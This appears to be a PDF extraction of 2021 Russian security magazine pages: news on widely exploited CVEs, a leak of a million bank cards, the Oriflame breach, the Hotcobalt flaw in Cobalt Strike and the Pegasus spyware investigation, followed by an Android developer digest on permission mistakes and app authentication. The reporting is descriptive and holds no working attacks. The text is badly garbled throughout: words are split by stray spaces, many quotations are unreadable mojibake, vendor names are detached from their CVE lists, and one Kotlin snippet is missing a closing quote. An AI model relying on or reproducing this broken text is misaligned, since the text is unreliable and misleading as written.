Че тыре уяз вимос ти, чаще все го исполь зован ные в 2020 году, ока зались свя заны с 
,  и .

уда лен ной
работой VPN об лачны ми сер висами

В 2021 году хакеры про дол жили нацели вать ся на уяз вимос ти в устрой ствах перимет ра. Сре ди
багов, которые активно исполь зовались в 2021 году, были проб лемы в про дук тах ,

, ,  и .
Microsoft

Pulse Accellion VMware Fortinet

Ком пания CVE Тип

Citrix CVE-2019-19781 Arbitrary code execution

Pulse Secure CVE 2019-11510 Arbitrary le reading

Fortinet CVE 2018-13379 Path traversal

F5- Big IP CVE 2020-5902 RCE

MobileIron CVE 2020-15505 RCE

Microsoft CVE-2017-11882 RCE

Atlassian CVE-2019-11580 RCE

Drupal CVE-2018-7600 RCE

Telerik CVE 2019-18935 RCE

Microsoft CVE-2019-0604 RCE

Microsoft CVE-2020-0787 Elevation of privilege

Netlogon CVE-2020-1472 Elevation of privilege

В ито ге спи сок самых «популяр ных» багов 2021 года выг лядит так:

: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 и CVE-
2021-27065 (уяз вимос ти ProxyLogon);
Microsoft Exchange Server

: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899 и CVE-2021-22900;Pulse Secure

: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103 и CVE-2021-27104;Accellion

: CVE-2021-21985;VMware

: CVE-2018-13379, CVE-2020-12812 и CVE-2019-5591.Fortinet

СЛИВ МИЛЛИОНА
БАНКОВСКИХ КАРТ
Не обыч ную рек ламную акцию про вели опе рато ры под поль ного мар кет плей са
AllWorld Cards. Они опуб ликова ли на мно гих хакер ских форумах дан ные мил- 
лиона бан ков ских карт, укра ден ных в пери од с 2018 по 2019 год.

Зло умыш ленни ки заяви ли, что слу чай ная выбор ка из 98 карт показа ла, что
при мер но 27% карт из под борки до сих пор активны. Но по дан ным италь- 
янской ИБ-фир мы D3Labs, до сих пор работа ют око ло 50% карт.

«

»

«Â íàñ òîÿùåå âðå ìÿ ðåçóëü òàòû, ïîëó÷åí íûå íàøåé àíà ëèòè ÷åñ êîé

ãðóï ïîé, åùå îãðà íè÷åí íû, íî îíè ïîêàçû âàþò, ÷òî îêî ëî 50% êàðò

âñå åùå ðàáîòà þò è íå îòìå ÷åíû êàê ñêîì ïðî ìåòè ðîâàí íûå», —

ïèøóò èññëå äîâà òåëè.

ИБ-ком пания Cyble тоже про ана лизи рова ла этот дамп и сооб щила, что утеч ка
содер жит номера карт, даты окон чания сро ка дей ствия, CVV, име на вла дель- 
цев, информа цию о стра не, шта те, городе, адре се, поч товом индексе
для каж дой кар ты, а так же номер телефо на или адрес элек трон ной поч ты.
Пока ана лити ки Cyble про ана лизи рова ли толь ко 400 тысяч карт и пишут, что
боль ше все го пос тра дали сле дующие бан ки:

Го сударс твен ный банк Индии (44 654 кар ты);•
JPMorgan Chase Bank NA (27 440 карт);•
BBVA Bancomer (21 624 кар ты);•
The Toronto-Dominion Bank (14 647 карт);•
Poste Italiane S. p. A. (Banco Posta) (14 066 карт).•

Ис сле дова тели отме чают, что All World Cards — новый сайт на кар дер ской
сце не и его необыч ная рек лама была встре чена с одоб рени ем мно гими зло- 
умыш ленни ками. Тор говая пло щад ка была запуще на в мае 2021 года и в нас- 
тоящее вре мя нас читыва ет 2 634 615 карт. Цены на кар ты здесь варь иру ются
от 0,30 до 14,40 дол лара, при чем 73% карт сто ят от 3 до 5 дол ларов.

УТЕЧКА ORIFLAME
На хакер ском форуме RaidForums про дают ска ны пас портов  рос сий ских кли- 
ентов кос метичес кой ком пании Oriame. Ком пания дей стви тель но сооб щала, что 31 июля
и 1 августа она под вер глась серии кибера так и зло умыш ленни ки получи ли несан кци они рован- 
ный дос туп к ее информа цион ным сис темам.

1,3  мил лиона

В ком пании приз нали, что пос тра дали кли енты не толь ко из Рос сии, но и из дру гих стран СНГ
и Азии. В рас поряже нии хакеров ока зались копии удос товере ний лич ности, но такие дан ные,
как номер бан ков ско го сче та, номера телефо нов и пароли, не были зат ронуты ата кой.

УЯЗВИМОСТЬ
В COBALT STRIKE
Ис сле дова тели SentinelOne обна ружи ли DoS-уяз вимость в Cobalt Strike,
которая поз воля ет бло киро вать управле ние маяка ми, а так же новые раз- 
верты вания.

На пом ню, что этот легитим ный ком мерчес кий инс тру мент, соз данный
для пен тесте ров и red team и ори енти рован ный на экс плу ата цию и пос тэкс- 
плу ата цию, дав но любим хакера ми, начиная от пра витель ствен ных APT-груп- 
пировок и закан чивая опе рато рами шиф роваль щиков. Хотя он недос тупен
для рядовых поль зовате лей и пол ная вер сия оце нива ется при мер но
в 3500 дол ларов за уста нов ку, зло умыш ленни ки все рав но находят спо собы
его исполь зовать (к при меру, полага ются на ста рые, пират ские, взло ман ные
и незаре гис три рован ные вер сии).

Как пра вило, зло умыш ленни ки исполь зуют взло ман ные вер сии Cobalt
Strike для получе ния устой чивого уда лен ного дос тупа к ском про мети рован- 
ной сети (и пос тэкс плу ата ции пос ле раз верты вания так называ емых маяков)
и неред ко при меня ют его во вре мя вымога тель ских атак.

Спе циалис ты SentinelOne сооб щают, что обна ружи ли уяз вимость CVE-
2021-36798 (получив шую наз вание Hotcobalt) в пос ледних вер сиях сер вера
Cobalt Strike. Баг поз воля ет зарегис три ровать под дель ные маяки на сер вере
кон крет ной уста нов ки Cobalt Strike, а затем, отправ ляя фаль шивые задачи
на этот сер вер, вывес ти его из строя, исчерпав дос тупную память.

В резуль тате уже уста нов ленные маяки не смо гут вза имо дей ство вать
с C&C-сер вером, уста нов ка новых маяков в заражен ных сис темах тоже будет
заб локиро вана, и это помеша ет red team или зло умыш ленни кам исполь- 
зовать раз верну тые маяки.

«

»

«Àêòèâíûå ìàÿêè íå ñìî ãóò ñâÿ çûâàòü ñÿ ñî ñâî èì C&C-ñåð âåðîì, ïîêà

îïå ðàòî ðû åãî íå ïåðåçà ïóñ òÿò. Îäíà êî ïåðåçà ïóñ êà òîæå íåäîñ òàòî÷- 

íî äëÿ çàùèòû îò ýòîé óÿç âèìîñ òè, ïîñ êîëü êó ìîæ íî ïðî äîë æàòü àòà- 

êîâàòü ñåð âåð äî òåõ ïîð, ïîêà îí íå áóäåò èñïðàâ ëåí èëè ïîêà êîí- 

ôèãóðà öèÿ ìàÿêîâ íå áóäåò èçìå íåíà», — ïèøóò ýêñïåð òû, ïðåä- 

ïîëàãàÿ, ÷òî ïðà âîîõ ðàíèòåëü íûå îðãà íû è ÈÁ‑èññëå äîâà òåëè ñìî ãóò

èñïîëü çîâàòü Hotcobalt äëÿ ëèê âèäàöèè èíôðàñòðóê òóðû õàêåðîâ.

Уяз вимость была обна руже на еще в апре ле, и раз работ чики CobaltStrike
HelpSystems устра нили баг с релизом Cobalt Strike 4.4.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Chrome боль ше не будет отоб ражать инди катор безопас ности сай тов

Рос сий ский суд оштра фовал Facebook, Twitter и WhatsApp на 36 мил лионов руб лей

Уче ные счи тают, что про межу точ ные устрой ства мож но исполь зовать для DDoS-атак

Эк спер ты обна ружи ли андегра ундный сер вис Prometheus TDS

Western Digital незамет но замед лила бюд жетный SSD WD Blue SN550 на 40%

Ха кер, похитив ший 600 мил лионов у Poly Network, вер нул боль шую часть денег

Май нин говый бот нет «раз гоня ет» про цес соры на взло ман ных сер верах

Поль зовате ли 3D-прин теров получи ли дос туп к чужим устрой ствам из-за сбоя The Spaghetti
Detective

У T-Mobile утек ли лич ные дан ные поч ти 49 мил лионов кли ентов

Баг в Razer Synapse: под клю чение мыши к Windows-машине дает сис темные при виле гии

https://xakep.ru/2021/08/03/chrome-lock-icon/
https://xakep.ru/2021/08/27/rkn-money/
https://xakep.ru/2021/08/17/tcp-ddos/
https://xakep.ru/2021/08/06/prometheus-tds/
https://xakep.ru/2021/08/27/wd-ssd/
https://xakep.ru/2021/08/12/poly-network-return/
https://xakep.ru/2021/08/13/boosted-mining/
https://xakep.ru/2021/08/20/tsd-bug/
https://xakep.ru/2021/08/19/t-mobile-49-mln/
https://xakep.ru/2021/08/23/razer-synapse-0day/
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В середи не июня 2021 года пра воза щит ная
орга низа ция Amnesty International, неком- 
мерчес кий про ект Forbidden Stories, а так же
более 80 жур налис тов кон сорци ума
из 17 меди аор ганиза ций в десяти стра нах
мира опуб ликова ли резуль таты сов мес тно- 
го рас сле дова ния, которо му дали наз вание

.про ект «Пегас»

ÏÐÎÅÊÒ «ÏÅÃÀÑ»

Спе циалис ты упо мяну тых орга низа ций заяви ли, что обна ружи ли мас штаб ные
зло упот ребле ния шпи онским ПО, соз данным изра иль ской ком пани ей NSO
Group. Сог ласно отче ту, спай варь ком пании активно при меня ется
для наруше ния прав челове ка и для наб людения за полити ками, акти вис тами,
жур налис тами и пра воза щит никами по все му миру.

Речь идет о небезыз вес тной мал вари Pegasus, которую 
 еще в 2016 году. В пос леду ющие годы ИБ-спе циалис ты 

 все  с исполь зовани ем Pegasus и кри тико вать NSO
Group за то, что ком пания про дает свои решения пра витель ствам и спец- 
служ бам по все му миру (зачас тую стра нам с реп рессив ными режима ми), хотя
исполь зование мал вари в ито ге не задоку мен тирова но прак тичес ки никем
и ниг де.

впер вые обна- 
ружи ли про дол жали
на ходить но вые инци ден ты

Pegasus пред назна чен для шпи она жа и спо собен собирать с устрой ств
на базе iOS и Android тек сто вые сооб щения, информа цию о при ложе ниях,
под слу шивать вызовы, отсле живать мес тополо жение, похищать пароли и так
далее.

«

»

«Øïè îíñêîå ÏÎ NSO Group ÿâëÿ åòñÿ èçëþáëåí íûì îðó æèåì ðåï- 

ðåññèâ íûõ ðåæèìîâ, ñòðå ìÿùèõ ñÿ çàñ òàâèòü çàìîë ÷àòü æóð íàëèñ òîâ,

àòà êîâàòü àêòè âèñ òîâ è ïîäàâèòü èíà êîìûñ ëèå, ïîä âåðãàÿ îïàñ íîñòè

áåñ ÷èñëåí íîå êîëè÷åñ òâî æèç íåé, — çàÿâ ëÿåò ñåê ðåòàðü Amnesty

International Àíü åñ Êàë ëàìàð. — Îáíà ðóæåí íûå íàìè [ôàê òû] îïðî âåð- 

ãàþò âñå çàÿâ ëåíèÿ NSO î òîì, ÷òî òàêèå àòà êè ðåä êè è ñâî äÿò ñÿ

ê íåï ðàâîìåð íîìó èñïîëü çîâàíèþ èõ òåõ íîëîãèé. Õîòÿ â êîì ïàíèè

óòâåð æäà þò, ÷òî åå øïè îíñêîå ÏÎ ïðè ìåíÿ åòñÿ òîëü êî ïðî òèâ íàñ- 

òîÿùèõ ïðåñ òóïíè êîâ è äëÿ áîðü áû ñ òåð ðîðèç ìîì, ÿñíî, ÷òî åå òåõ- 

íîëîãèÿ ïîîù ðÿåò ñèñ òåìàòè ÷åñ êèå çëî óïîò ðåáëå íèÿ. Îíè ðèñó þò

êàð òèíó ïîë íîé ëåãèòèì íîñòè, íî èçâëå êàþò âûãîäó èç øèðîêî ðàñ- 

ïðîñòðà íåí íûõ íàðóøå íèé ïðàâ ÷åëîâå êà.

Íà øè ïîñ ëåäíèå îòêðû òèÿ ïîêàçû âàþò, ÷òî êëè åíòû NSO Group

â íàñ òîÿùåå âðå ìÿ ìîãóò óäà ëåí íî âçëî ìàòü äàæå ïîñ ëåäíèå ìîäåëè

iPhone è âñå âåð ñèè iOS».

Де ло в том, что в рас поряже нии иссле дова телей ока зал ся спи сок 50 тысяч
телефон ных номеров, которые яко бы «пред став ляли инте рес» для кли ентов
NSO Group и тща тель но отби рались с 2016 года. И хотя сам факт при сутс твия
номера в этом спис ке еще не озна чает, что его вла делец обя затель но под- 
вер гся ата ке, зараже ние спай варью уда лось под твер дить «в десят ках слу- 
чаев».

К при меру, в спис ке мож но най ти дан ные полити ков, акти вис тов, жур- 
налис тов, пра воза щит ников, руково дите лей пред при ятий, религи озных
деяте лей, уче ных и так далее. Отдель но под черки вает ся, что в спис ке содер- 
жались телефо ны как минимум десяти глав государств.

В ито ге рас сле дова ние выяви ло кли ентов NSO Group как минимум
в 11 стра нах мира, вклю чая Азер бай джан, Бах рейн, Вен грию, Индию, Казах- 
стан, Марок ко, Мек сику, ОАЭ, Руан ду, Саудов скую Ара вию и Того. При этом
Руан да, Марок ко, Индия и Вен грия пос пешили офи циаль но заявить, что
не исполь зовали Pegasus.

Так как о сущес тво вании Pegasus и деятель нос ти NSO Group извес тно дав но,
мно гие зада ются воп росом: почему скан дал раз разил ся толь ко сей час? Ведь
ничего прин ципи аль но нового в док ладе не содер жалось, и вряд ли кого-то
в ИБ-сооб щес тве уди вило сущес тво вание спай вари и того, о чем писали жур- 
налис ты.

Хо роший ответ на этот воп рос дал у себя в Twitter извес тный ИБ-эксперт,
нес коль ко лет назад  шиф роваль щик Wannacry, Мар кус Хат чинс
(MalwareTech):

ос тановив ший

«

»

«Äî ñåãîä íÿøíå ãî äíÿ ÿ íå ïîíèìàë, ÷òî íîâîãî â ýòîé èñòî ðèè,

íî òåïåðü ÿ îñîç íàë, ÷òî, âåðî ÿòíî, ðàíü øå îáî âñåì ýòîì íå áûëî

èçâåñ òíî çà ïðå äåëà ìè ÈÁ‑ñîîá ùåñ òâà. Èòàê, TL;DR: ñóùåñ òâó þò êîì- 

ïàíèè, ó êîòîðûõ åñòü íóëåâûå äíè è øïè îíñêîå ÏÎ, ñïî ñîá íûå óäà- 

ëåí íî âçëà ìûâàòü òåëåôî íû. Îáû÷ íî âñå ýòî ïðî äàåò ñÿ ïðà âèòåëü- 

ñòâàì, êîòîðûå çàòåì èñïîëü çóþò [ýòè èíñ òðó ìåí òû] äëÿ àòàê íà „òåð- 

ðîðèñ òîâ“ (âî ìíî ãèõ ñëó ÷àÿõ ýòî ïðîñ òî îçíà ÷àåò ëþáîãî, êîãî âëàñ òè

ñ÷è òàþò óãðî çîé). Ðàñ ïëûâ ÷àòîå îïðå äåëå íèå òåð ìèíà „òåð ðîðèñò“

âàðü èðó åòñÿ îò ãîñóäàðñ òâà ê ãîñóäàðñ òâó, è ìíî ãèå (îñî áåí íî àâòî- 

ðèòàð íûå ãîñóäàðñ òâà) ñ÷è òàþò àêòè âèñ òîâ è æóð íàëèñ òîâ óãðî çàìè.

Ðåàëü íîñòü òàêîâà, ÷òî „îñòà íîâèòü òåð ðîðèñ òîâ“ ëåã êî ïðåâ ðàùà åòñÿ

â „øïè îíèòü çà âñå ìè, êòî íàì íå íðà âèò ñÿ“, è èìåí íî îá ýòîì ïîâåñ- 

òâó åò äàí íàÿ óòå÷ êà».

0-DAY Â IOS

Ин терес но, что в ходе рас сле дова ния иссле дова телям уда лось обна ружить
iPhone под управле нием пос ледней вер сии iOS, взло ман ный с помощью zero-
click-экс пло итов (не тре бующих никако го вза имо дей ствия с поль зовате лем)
для iMessage. К при меру, Amnesty International под твер дила активное зараже- 
ние работа юще го под управле нием iOS 14.6 iPhone X акти вис та (CODE
RWHRD1) от 24 июня 2021 года.

«

»

«Amnesty International îáíà ðóæè ëà äîêàçà òåëü ñòâà âçëî ìà iPhone XR

èíäèé ñêî ãî æóð íàëèñ òà (CODE INJRN1), óñòðîé ñòâî ðàáîòà ëî

ïîä óïðàâëå íèåì iOS 14.6 (ïîñ ëåäíÿÿ âåð ñèÿ, äîñ òóïíàÿ íà ìîìåíò

íàïèñà íèÿ) íå äàëåå êàê 16 èþíÿ 2021 ãîäà», — òàê æå ãëà ñèò îò÷åò.

Вы воды иссле дова телей были под твержде ны Бил лом Мар чаком, экспер том
иссле дова тель ской лабора тории Citizen Lab, где про вели незави симую
экспертную оцен ку про екта «Пегас».

«

»

«Ìåõàíè êà ðàáîòû ýòî ãî zero-click-ýêñ ïëî èòà äëÿ iOS 14.x, ïî‑âèäèìî- 

ìó, ñóùåñ òâåí íî îòëè ÷àåò ñÿ îò ýêñ ïëî èòà KISMET äëÿ iOS 13.5.1 è iOS

13.7. Ýòî ïîç âîëÿ åò ïðåä ïîëîæèòü, ÷òî íà ñàìîì äåëå ýòî äðó ãîé

zero-click-ýêñ ïëî èò äëÿ iMessage», — ïèøóò ýêñïåð òû Citizen Lab.

ÁÀÍ ÍÀ AMAZON

Вско ре пос ле выхода отче та спе циалис ты Amazon Web Services (AWS) заб- 
локиро вали всю инфраструк туру и акка унты, свя зан ные с NSO Group. Дело
в том, что иссле дова тели замети ли, что «Pegasus отправ лял информа цию
служ бе, обслу жива емой Amazon CloudFront», то есть NSO Group в пос ледние
месяцы переш ла на исполь зование AWS.

Ин фраструк тура CloudFront исполь зовалась при раз верты вании вре донос- 
ного ПО для ряда целей, вклю чая телефон фран цуз ско го юрис та по пра вам
челове ка. Иссле дова тели отме чали, что переход на CloudFront в некото рой
сте пени защища ет NSO от иссле дова телей или дру гих треть их лиц, пыта- 
ющих ся изу чить инфраструк туру ком пании.

Кро ме того, в отче те ска зано, что NSO так же поль зует ся услу гами дру гих
ком паний, таких как Digital Ocean, OVH и Linode.

«

»

«Êîã äà ìû óçíà ëè îá ýòîé àêòèâíîñ òè, ìû îïå ðàòèâ íî çàê ðûëè ñîîò- 

âåòñ òâó þùóþ èíôðàñòðóê òóðó è ó÷åò íûå çàïèñè», — çàÿâè ëè ïðåä ñòà- 

âèòå ëè AWS.

ÐÅÀÊÖÈß NSO GROUP

Пред ста вите ли NSO Group ред ко мол чат в ответ на подоб ные обви нения.
Обыч но в ком пании отве чают, что про дают свои инс тру мен ты толь ко
государс твен ным заказ чикам и пра воох ранитель ным орга нам, но не могут
кон тро лиро вать, что кли енты дела ют с эти ми инс тру мен тами далее. Этот раз
не стал исклю чени ем. В заяв лении для The Guardian пред ста вите ли ком пании
сооб щили сле дующее:

«

»

«NSO íå óïðàâëÿ åò ñèñ òåìàìè, êîòîðûå ïðî äàåò ïðî âåðåí íûì

ãîñóäàðñ òâåí íûì çàêàç ÷èêàì, è íå èìå åò äîñ òóïà ê äàí íûì î öåëÿõ

ñâî èõ êëè åíòîâ. NSO íå èñïîëü çóåò ñâîè òåõ íîëîãèè, íå ñîáèðà åò äàí- 

íûå ñâî èõ êëè åíòîâ, íå âëà äååò èìè è íå èìå åò äîñ òóïà ê íèì.

Ïî äîãîâîð íûì ïðè ÷èíàì è ñîîá ðàæåíè ÿì íàöè îíàëü íîé áåçîïàñ- 

íîñòè NSO íå ìîæåò ïîä òâåð äèòü èëè îïðî âåð ãíóòü ëè÷ íîñòü íàøèõ

ãîñóäàðñ òâåí íûõ êëè åíòîâ».

Так же на сай те ком пании появи лось , в котором NSO
Group отри цает все обви нения, называя их лож ными:

офи циаль ное заяв ление

«

»

«Ïðî âåðèâ çàÿâ ëåíèÿ [Amnesty International è Forbidden Stories], ìû

ðåøèòåëü íî îòðè öàåì âñå ëîæ íûå óòâåð æäå íèÿ, ñîäåð æàùè åñÿ â èõ

îò÷å òå. Èõ èñòî÷íè êè ïðå äîñ òàâèëè èíôîðìà öèþ, íå èìå þùóþ ôàê- 

òè÷åñ êèõ îñíî âàíèé, î ÷åì ñâè äåòåëü ñòâó åò îòñóòñ òâèå ïîä òâåðæäà- 

þùåé äîêóìåí òàöèè äëÿ ìíî ãèõ èõ çàÿâ ëåíèé. Íà ñàìîì äåëå ýòè

îáâè íåíèÿ íàñ òîëü êî âîç ìóòèòåëü íû è äàëåêè îò ðåàëü íîñ òè, ÷òî NSO

ðàñ ñìàò ðèâà åò âîï ðîñ ïîäà÷è èñêà î êëå âåòå».

Вско ре пос ле это го пред ста вите ли ком пании и вов се рас простра нили
пресс-релиз, в котором заяви ли, что отны не отка зыва ются говорить со СМИ
и как-либо ком менти ровать отчет Amnesty International и Forbidden Stories.

«

»

«Âñå ìó åñòü ïðå äåë. Â ñâå òå íåäàâ íåé õîðîøî ñïëà íèðî âàí íîé

è îðãà íèçî âàí íîé êàì ïàíèè â ÑÌÈ, ïðî âîäè ìîé Forbidden Stories

è ïðîä âèãà åìîé äðó ãèìè ëîá áèñò ñêè ìè ãðóï ïàìè, à òàê æå èç‑çà ïîë- 

íîãî èãíî ðèðî âàíèÿ ôàê òîâ NSO îáú ÿâëÿ åò, ÷òî áîëü øå íå áóäåò

îòâå ÷àòü íà çàï ðîñû ÑÌÈ ïî ýòî ìó ïîâîäó è íå áóäåò ïðè íèìàòü ó÷àñ- 

òèÿ â ýòîé æåñ òîêîé è êëå âåò íè÷åñ êîé êàì ïàíèè», — ãëà ñèë

ïðåññ‑ðåëèç.

ÐÀÑÑËÅÄÎÂÀÍÈÅ ÂËÀÑÒÅÉ

Так как заяв ления Amnesty International и Forbidden Stories выз вали огромный
общес твен ный резонанс, про исхо дящим заин тересо валось Минис терс тво
обо роны Изра иля. Офи циаль ные лица нес коль ких пра витель ствен ных
агентств стра ны приш ли с про вер ками в офи сы ком пании NSO Group. Влас ти
сооб щили, что решили сами рас сле довать обви нения, выд винутые про тив
ком пании.

Хо тя мно гие СМИ наз вали про исхо дящее «рей дами», сами пред ста вите ли
NSO Group харак теризо вали это как «визиты». В ком пании сооб щили:

«

»

«Ìû ìîæåì ïîä òâåð äèòü, ÷òî ïðåä ñòà âèòå ëè Ìèíèñ òåðñ òâà îáî ðîíû

Èçðà èëÿ ïîñåòè ëè íàøè îôè ñû. Ìû ïðè âåòñ òâó åì ýòó èíñïåê öèþ

è óâå ðåíû, ÷òî ïðî âåð êà ëèøü äîêàæåò ôàê òû, êîòîðûå íåîä íîêðàò íî

ïðè âîäè ëà êîì ïàíèÿ, âîï ðåêè ëîæ íûì îáâè íåíè ÿì, âûä âèíóòûì ïðî- 

òèâ íàñ â íåäàâ íèõ àòà êàõ ÑÌÈ».

Из раиль ское новос тное агентство Calcalist цитиро вало ано ним ный источник,
который под твер дил, что «рей ды» ско рее были фор маль ной встре чей, а не
углублен ной про вер кой докумен тов и компь ютер ных сис тем NSO Group.

Сто ит отме тить, что ком пании, которые раз рабаты вают и про дают спай- 
варь и дру гое offensive ПО, дол жны регис три ровать ся в государс твен ных
орга нах и получать спе циаль ную экспортную лицен зию на про дажу сво его
прог рам мно го обес печения. В нас тоящее вре мя NSO Group име ет лицен зию
пра витель ства Изра иля. В 2019 году пра воза щит ники уже подава ли иск,
пыта ясь зас тавить изра иль ское пра витель ство отоз вать лицен зию NSO Group
(заяв ляя, что ПО ком пании исполь зовалось для наруше ния прав челове ка),
одна ко в июле 2020 года изра иль ский суд поп росту откло нил этот иск.

mailto:nefedova@glc.ru
https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus
https://xakep.ru/2016/08/26/pegasus-3-zerodays-in-ios/
https://xakep.ru/2020/12/21/kismet/
https://xakep.ru/2019/11/25/golden-falcon/
https://xakep.ru/2018/09/19/pegasus/
https://xakep.ru/2017/05/13/wana-decrypt0r/
https://www.nsogroup.com/Newses/following-the-publication-of-the-recent-article-by-forbidden-stories-we-wanted-to-directly-address-the-false-accusations-and-misleading-allegations-presented-there/
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HEADER

Се год ня в выпус ке: раз бор типич ных оши бок работы с раз- 
решени ями Android, биб лиоте ка Security-App-Authenticator
для про вер ки под линнос ти при ложе ний, статья об опти миза- 
ции заг рузки при ложе ния, а так же фун кции-рас ширения,
value-клас сы и фун кции груп пиров ки дан ных в Kotlin.
И конеч но же, оче ред ная под борка биб лиотек.

ÏÎ×ÈÒÀÒÜ

Îøèáêè ðàáîòû ñ ðàçðåøåíèÿìè

 — статья об ошиб ках,
которые допус кают раз работ чики при дек ларации собс твен ных раз решений.
Common mistakes when using permissions in Android

Пре амбу ла: в Android есть сис тема раз решений (permissions). Раз решения
могут быть уров ня normal (они пре дос тавля ются без воп росов), dangerous
(при ложе ние обя зано зап росить раз решение у поль зовате ля), signature (при- 
ложе ние дол жно быть под писано тем же клю чом, что и ком понент, пре дос- 
тавля емый по раз решению) и нес коль ких дру гих сис темных типов, исполь- 
зуемых толь ко при ложе ниями из ком плек та про шив ки.

Кро ме того, при ложе ния могут дек лариро вать свои собс твен ные раз- 
решения, которые дол жны исполь зовать дру гие при ложе ния для дос тупа
к воз можнос тям это го при ложе ния (запус кать активнос ти, получать дан ные
из content provider’ов и так далее). Дек ларация таких раз решений в манифес- 
те выг лядит при мер но так:

  
 

<permission android:name="com.mycoolcam.USE_COOL_CAMERA" android:
protectionLevel="dangerous" />

   <activity android:name=".CoolCamActivity" android:exported="true"
android:permission="com.mycoolcam.USE_COOL_CAMERA">
   <intent-filter>

         <action android:name="com.mycoolcam.LAUNCH_COOL_CAM" />
         <category android:name="android.intent.category.DEFAULT" />

   </intent-filter>
</activity>

Сей час дос туп к активнос ти  защищен с помощью раз- 
решения .

CoolCamActivity
com.mycoolcam.USE_COOL_CAMERA

А теперь ошиб ки, которые совер шают раз работ чики, ког да дек лариру ют
свои раз решения и защища ют ими ком понен ты:
1.  Если в пре дыду щем при мере не ука- 

зать уро вень раз решения ( ), он
ста нет normal и в ито ге дос туп к защищен ной активнос ти смо жет получить
какое угод но при ложе ние (дос таточ но ука зать в манифес те, что оно
исполь зует это раз решение).

Óðî âåíü ðàç ðåøåíèÿ íå óêà çàí.

android:protectionLevel="dangerous"

2. 
 Допус тим, у тебя есть два при ложе ния, которые дол жны обме- 

нивать ся дан ными. Что бы защитить их от несан кци они рован ного дос тупа,
ты добав ляешь в при ложе ние 1 опре деле ние раз решения:

Óðî âåíü ðàç ðåøåíèÿ signature íå îïðå äåëåí âî âñåõ ïðè ëîæå- 

íèÿõ.

  
 

<permission android:name="com.mycoolcam.USE_COOL_CAMERA" android:
protectionLevel="signature" />

При этом в при ложе нии 1 такого опре деле ния нет, так как оно толь ко
исполь зует это раз решение. В ито ге если на устрой ство уста новить толь ко
вто рое при ложе ние, то Android, ничего не зна ющий о раз решении 

, авто мати чес ки наз начит ему уро вень
normal вмес то опре делен ного в при ложе нии 1 уров ня signature.

com.
mycoolcam.USE_COOL_CAMERA

До бав ляй опре деле ние раз решения во все при ложе ния.
3.  Допус тим, есть при ложе ние,

которое исполь зует сис темное раз решение 
. У это го при ложе ния есть content provider, который пре- 

дос тавля ет дос туп к базе дан ных при ложе ния, вклю чая кон такты поль- 
зовате лей. И этот content provider не защищен никаким раз решени ем.
В ито ге сто рон ние при ложе ния могут получить дос туп к кон тактам поль- 
зовате ля опос редован но, через это при ложе ние.

Îò ñóòñ òâèå êàêèõ‑ëèáî ðàç ðåøåíèé.

android.permission.
READ_CONTACTS

ÐÀÇÐÀÁÎÒ×ÈÊÓ

Áèáëèîòåêà Security-App-Authenticator

 — неболь шая замет ка
о  в ком плек те Android Jetpack.
Hands on with Jetpack’s Security App Authenticator library

но вой биб лиоте ке
Биб лиоте ка нуж на для про вер ки под линнос ти сер тифика тов при ложе ний,

с которы ми будет кон такти ровать твое при ложе ние. Дела ется это с помощью
свер ки кон троль ной сум мы сер тифика та при ложе ния и его срав нения с уже
сох ранен ным спис ком кон троль ных сумм. Эта кий SSL Pinning для при ложе- 
ний.

Пе ред тем как исполь зовать биб лиоте ку, в под катало ге  ресур сов при- 
ложе ния необ ходимо помес тить XML-файл с про изволь ным име нем и при- 
мер но сле дующим содер жимым:

xml

<?xml version="1.0" encoding="utf-8"?>
<app-authenticator>
   <expected-identity>

        <package name="com.example.app">
           <cert-digest>
7d5ac0f764d5ae47a051777bb5fc9a96f30b6b4d3bbb95cddb1c32932fb28b10</
cert-digest>
       </package>
   </expected-identity>
</app-authenticator>

Этот файл говорит, что при ложе ние с име нем пакета  дол- 
жно иметь сер тификат с ука зан ной кон троль ной сум мой SHA-256.

com.example.app

Да лее мож но начать исполь зовать биб лиоте ку:

// Создаем экземпляр аутентификатора из описанного выше XML-файла
    val authenticator = AppAuthenticator.createFromResource(context, R.

xml.expected_app_identities)

// Первый способ проверки сертификата
     val result = when (authenticator.checkAppIdentity("com.example.app"))

{
     AppAuthenticator.SIGNATURE_MATCH -> "Signature matches"
     AppAuthenticator.SIGNATURE_NO_MATCH -> "Signature does not match"
     else -> return
}

// Второй способ проверки с выбросом исключения
 try {

   authenticator.enforceAppIdentity("com.example.app)
   // ...работаем с приложением
    } catch (e: SecurityException) {
   // ...не стоит доверять этому приложению
}

Как вид но, есть нес коль ко спо собов про вер ки. Пер вый удоб но исполь зовать
для прос тых про верок. Вто рой удо бен для исполь зования в фун кци ях работы
с про веря емым при ложе нием. Прос то добав ляем в их начало про вер ку, и все
осталь ное сде лает сис тема обра бот ки исклю чений.

Îïòèìèçàöèÿ çàãðóçêè ïðèëîæåíèé

 — оче- 
ред ная статья об уско рении холод ного запус ка при ложе ния. Основные
момен ты:

How OkCredit Android App improved Cold Startup by 70% Anjal Saneen

1.  Ленивая ини циали зация объ ектов
с помощью Dagger Lazy поз воля ет силь но сок ратить вре мя стар та при- 
ложе ния.

Ëå íèâàÿ èíè öèàëè çàöèÿ.

2.  Что бы основной поток при ложе ния не тра тил вре мя
на ини циали зацию ком понен тов, эту задачу луч ше вынес ти в фоновый
поток:

Ôî íîâûå ïîòîêè.

   override fun onCreate() {
    super.onCreate()
    setupDependencyInjection()
    observeProcessLifecycle()

     Executors.newSingleThreadExecutor().execute {
        firebaseRemoteConfig.get().fetchAndActivate()
        setupJobScheduler()
        setupAppsFlyer()
        setupAnalytics()
        trackDeviceInfo()
    }
}

3.  Чем мень ше в UI исполь зует ся слож ных
вло жен ных друг в дру га эле мен тов интерфей са, тем быс трее отра баты вает
отри сов ка. Самый прос той спо соб сде лать это — исполь зовать Constraint
Layout, спо соб ный заменить сло еный пирог дру гих лей аутов. При этом
самым быс трым в отри сов ке счи тает ся FrameLayout. Имен но его сле дует
исполь зовать в качес тве кон тей нера.

Îï òèìèçà öèÿ ýëå ìåí òîâ UI.

4.  Firebase — отличный инс тру мент ана лити ки, но на
его ини циали зацию ухо дит слиш ком мно го вре мени. Если уда лить Firebase
и заменить его более лег ким решени ем, то мож но выиг рать нес коль ко
десят ков мил лисекунд.

